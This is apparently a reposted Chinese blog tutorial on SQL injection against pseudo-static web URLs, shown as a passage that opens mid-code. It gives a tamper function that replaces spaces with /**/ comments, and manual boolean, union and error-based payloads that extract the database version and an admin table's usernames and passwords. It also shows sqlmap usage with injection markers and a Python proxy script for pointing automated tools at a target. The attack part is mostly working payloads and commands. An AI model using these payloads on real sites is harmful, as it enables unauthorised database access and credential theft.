vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 1='1.htmlhttp://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html三、手工注入法(二)http://www.xxx.net/news/html/?410.htmlhttp://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html注:伪静态的注入和URL的普通GET注入不太相同 。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。三、SQLmap方法在sqlmap中伪静态哪儿存在注入点就加*http://www.cunlide.com/id1/1/id2/2 python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″http://www.xxx.com/news/class/?103.htmpython sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”四、python脚本方法代码一:<code id="code3">from BaseHTTPServer import * import urllib2 class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): path=self.path path=path[path.find('id=')+3:] proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"}) opener = urllib2.build_opener(proxy_support) urllib2.install_opener(opener) url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/" try: response=urllib2.urlopen(url+path) html=response.read() except urllib2.URLError,e: html=e.read() self.wfile.write(html) server = HTTPServer(("", 8000), MyHTTPHandler) server.serve_forever()</code>转载:https://www.cnblogs.com/jsq16/p/5942003.htmlhttps://blog.csdn.net/qq_41545233/article/details/106713530
2025年05月18日
405 阅读
0 评论
0 点赞